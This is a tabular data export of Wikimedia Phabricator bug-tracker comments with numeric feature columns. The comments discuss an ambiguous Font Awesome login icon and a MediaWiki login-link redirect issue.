403310,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"**General:** Please take ""file uploading in Phabricator"" to the Help page of https://www.mediawiki.org/wiki/Phabricator/Help#Uploading_file_attachments . Thanks.",,,1422308637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,14.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.8181818181818182,"**General:** Please take ""file uploading in Phabricator"" to the Help page of URL . Thanks."
403289,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"...or that any of those would be, either. ",,,1422306489,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,1.0,"...or that any of those would be, either. "
403288,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"The problem here is that it's ambiguous. It all depends on whether or not the user is already logged in - if they are logged in, the box is an exit. If they are not logged in, it's an entrance. Whether they are coming through it or going through it varies; either could be going either direction.

Perhaps due to this similarity and ambiguity, in the past, I have only ever seen it used as a log-out icon, typically used next to a menu or similar that clearly identified the logged-in user, so at least for me, that type of icon is associated with logging out almost exclusively. When logging in, not only would more context be required to make it clear, but even then I'm not sure it would be an appropriate icon.

",,,1422306412,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0.5,0.0,0.0,3.0,2.5,5.0,1.5,0.0,0.0,1.0,4.0,0.5,0.0,2.0,0.0,2.0,0.0,10.5,14.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.5,0.0,7.0,0.5,4.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,5.5,5.5,4.5,4.0,3.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,7.5,14.5,0.0,0.0,0.0,0.0,7.5,0.0,1.5,3.0,0.5,3.0,0.5,0.5,0.0,3.673101265822785,0.6858386075949368,"The problem here is that it's ambiguous. It all depends on whether or not the user is already logged in - if they are logged in, the box is an exit. If they are not logged in, it's an entrance. Whether they are coming through it or going through it varies; either could be going either direction.

Perhaps due to this similarity and ambiguity, in the past, I have only ever seen it used as a log-out icon, typically used next to a menu or similar that clearly identified the logged-in user, so at least for me, that type of icon is associated with logging out almost exclusively. When logging in, not only would more context be required to make it clear, but even then I'm not sure it would be an appropriate icon.

"
403285,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Perhaps one of these would be clearer?
{F32222}",,,1422305738,,PHID-USER-7sfnmvwpvh3etwtqk5pg,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.4166666666666665,1.0,"Perhaps one of these would be clearer?
{F32222}"
403276,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Ugh, fontawesome? So this is a double-upstream bug? Because I agree that the iconography is confusing. It would be somewhat less bad if the login icon was flipped horizontally. It does look like an arrow pointing towards the exit to me.

Compare:
{F32217}
{F32219}",,,1422303635,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,2.0,0.0,7.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,15.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,7.0,10.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,3.7333333333333334,0.8333333333333334,"Ugh, fontawesome? So this is a double-upstream bug? Because I agree that the iconography is confusing. It would be somewhat less bad if the login icon was flipped horizontally. It does look like an arrow pointing towards the exit to me.

Compare:
{F32217}
{F32219}"
403267,Phabricator login button uses an ambiguous icon that could be interpreted as logout,What does grey background mean?,,,1422301948,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,What does grey background mean?
403265,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Well, valhallasw got it and summed it up pretty well (they're pretty ambiguous which is even which, since they can be interpreted either way).

But yeah, I have no idea how you even do that.",,,1422301890,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,14.0,5.0,2.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5681818181818183,0.8181818181818182,"Well, valhallasw got it and summed it up pretty well (they're pretty ambiguous which is even which, since they can be interpreted either way).

But yeah, I have no idea how you even do that."
403263,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#994882, @Isarra wrote:
> [[F32214...?]]
> 
> ...eh?

@Isarra :)

FWIW you can do

`{F32214}`

{F32214}

or

`F32214`

F32214

",,,1422301865,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.107142857142857,0.5,"QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME :)

FWIW you can do

CODE

{F32214}

or

CODE

F32214

"
403261,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"[[F32214...?]]

...eh?",,,1422301761,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,2.0,0.6363636363636364,"[[F32214...?]]

...eh?"
403258,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"As far as I can see, the sign-in and sign-out icons from fontawesome are used:

{F32208}

Log-in:
{F32210}

Log-out:
{F32212}

I interpret those icons as 'entering' (sign-in) and 'exiting' (sign-out), but I agree it doesn't immediately convey that meaning very clearly when seen as a lone icon.",,,1422301610,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,3.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,3.0,1.0,2.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,10.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,5.0,0.0,5.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,2.953488372093023,0.5930232558139535,"As far as I can see, the sign-in and sign-out icons from fontawesome are used:

{F32208}

Log-in:
{F32210}

Log-out:
{F32212}

I interpret those icons as 'entering' (sign-in) and 'exiting' (sign-out), but I agree it doesn't immediately convey that meaning very clearly when seen as a lone icon."
403257,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"As far as I can see, the sign-in and sign-out icons from fontawesome are used:

{F32208}

Log-in:
{F32210}

Log-out:
{F32212}

I interpret those icons as 'entering' (sign-in) and 'exiting' (sign-out).",,,1422301507,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.6417910447761193,0.5223880597014925,"As far as I can see, the sign-in and sign-out icons from fontawesome are used:

{F32208}

Log-in:
{F32210}

Log-out:
{F32212}

I interpret those icons as 'entering' (sign-in) and 'exiting' (sign-out)."
403254,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#994868, @Isarra wrote:
> Er... drag and drop from what? Is there no normal way to add an attachment? I'm sorry, this is all a bit confusing.

If you would like you can go here https://phabricator.wikimedia.org/file/upload/ and then link to it from this ticket.",,,1422301315,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.9090909090909091,"QUOTE
QUOTE

If you would like you can go here URL and then link to it from this ticket."
403252,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Er... drag and drop from what? Is there no normal way to add an attachment? I'm sorry, this is all a bit confusing.",,,1422301168,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,7.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.206896551724138,0.9655172413793104,"Er... drag and drop from what? Is there no normal way to add an attachment? I'm sorry, this is all a bit confusing."
403186,Phabricator login button uses an ambiguous icon that could be interpreted as logout,Could you attach a screenshot please? Drag & drop into the comments box.,,,1422290089,,PHID-USER-7sfnmvwpvh3etwtqk5pg,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Could you attach a screenshot please? Drag & drop into the comments box.
78646,2 login-links on page but different behaviour,"Hi,

We have a wiki which has a part which can be accessed without logging in and a part which can only be read (and modified) after you are logged on. When you try to access a page for which you have to be logged on you get the following screen:

Login required Please log in to view other pages.

Return to Main Page.

The text 'log in' after Please is a link so that after you click this and logon you return immediately to the required page. On top of the screen there is also a login-link-button which points to http://ourwiki/index.php?title=Special:UserLogin&returnto=Special%3ABadtitle

We can notify to use the link provided after 'Please' but it would be convenient that the loginlink at the top of the screen responds the same. I have googled around but haven't found a solution (yet) for this (if there is any). So question: Is there a way to solve this?

We use Mediawiki 1.23.7.

Thanx in advance.",Lowest,10.0,1418730166,1426846164.0,PHID-USER-debp4jxlapelkln326u6,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-xehnfjut6yregz3d2jej,task_description,declined,True,c3,1,False,False,True,-29,True,0.5,0.0,0.0,2.0,0.5,1.5,1.0,0.0,0.0,0.5,2.0,2.5,0.0,0.5,1.5,2.0,0.0,4.0,14.5,0.0,2.5,0.0,0.5,0.0,0.5,0.0,0.5,0.5,1.5,0.5,0.0,8.5,0.5,0.5,0.0,3.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,12.0,1.5,0.5,0.0,0.0,0.0,0.5,0.5,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,8.5,4.5,10.0,2.5,2.5,13.0,0.0,0.0,0.0,0.0,5.5,2.0,0.5,0.0,5.5,14.5,2.0,0.5,2.0,0.0,5.5,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,3.512728802861351,0.6462760361876709,"Hi,

We have a wiki which has a part which can be accessed without logging in and a part which can only be read (and modified) after you are logged on. When you try to access a page for which you have to be logged on you get the following screen:

Login required Please log in to view other pages.

Return to Main Page.

The text 'log in' after Please is a link so that after you click this and logon you return immediately to the required page. On top of the screen there is also a login-link-button which points to URL

We can notify to use the link provided after 'Please' but it would be convenient that the loginlink at the top of the screen responds the same. I have googled around but haven't found a solution (yet) for this (if there is any). So question: Is there a way to solve this?

We use Mediawiki 1.23.7.

Thanx in advance."
429163,2 login-links on page but different behaviour,Sorry for not reply-ing. I did a test and couldn't reproduce it anymore.  Might put it on Hold/Resolved without solution/whatever. ;-),,,1426778721,,PHID-USER-debp4jxlapelkln326u6,False,,,PHID-TASK-xehnfjut6yregz3d2jej,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,9.0,9.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.875,Sorry for not reply-ing. I did a test and couldn't reproduce it anymore.  Might put it on Hold/Resolved without solution/whatever. ;-)
429137,2 login-links on page but different behaviour,@DikkieDick: Please answer.,,,1426777056,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xehnfjut6yregz3d2jej,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,SCREEN_NAME: Please answer.
418783,2 login-links on page but different behaviour,I cannot replicate this. What's the name of the page in question?,,,1425182148,,PHID-USER-scigxlexgozrr4ej5mm5,False,,,PHID-TASK-xehnfjut6yregz3d2jej,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.9375,I cannot replicate this. What's the name of the page in question?